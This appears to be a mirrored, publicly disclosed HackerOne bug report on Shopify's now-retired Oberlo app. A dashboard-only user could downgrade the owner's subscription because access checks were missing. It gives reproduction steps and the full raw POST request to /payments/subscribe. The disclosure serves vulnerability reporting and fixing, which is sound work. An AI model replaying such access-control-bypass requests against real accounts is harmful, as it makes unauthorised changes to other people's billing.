HexBrain
Open on HackerOneSign in

Shopify · Report #1084865

[h1-2102] [Oberlo] Least privileged user can cancel account owner's subscription via POST on /payments/subscribe

Validstatus
lowseverity
51upvotes
17 Jan 2024disclosed

Summary

Please note, since this report was submitted and resolved, Oberlo has been removed from scope for our program. We are no longer accepting reports on Oberlo at the time of this disclosure.

Oberlo was an application that integrated with the Shopify platform. It was designed to simplify the process of sourcing and importing products from various suppliers into a Shopify store.

Due to missing access control checks on the backend, a user with limited permissions on an Oberlo account was able to modify the Oberlo subscription for the associated account.

How it was found

Summary:

Within Oberlo, it's possible to have a bare permission user with only access to the dashboard. This user can make an API call which will cancel the subscription.

Steps To Reproduce:

[add details for how we can reproduce the issue]

  1. Have a Boss subscription account on app.oberlo.com
  2. Within this account, have 2 users: userA is our admin, and userB is our attacker with only Dashboard permissions:

{F1168406}

  1. Log in as User B and make the following call:
POST /payments/subscribe HTTP/1.1
Host: app.oberlo.com
Connection: close
Content-Length: 19
sec-ch-ua: "Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"
Accept: application/json, text/plain, */*
█████
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://app.oberlo.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://app.oberlo.com/settings/other
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <REDACTED>


{
"planId":10
}
  1. You should get a 200 response
  2. Log back in as UserA and see that your subscription is set to the "Free Tier" as soon as the current billing cycle finishes.

Impact

Least privileged users can modify subscription tiers

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original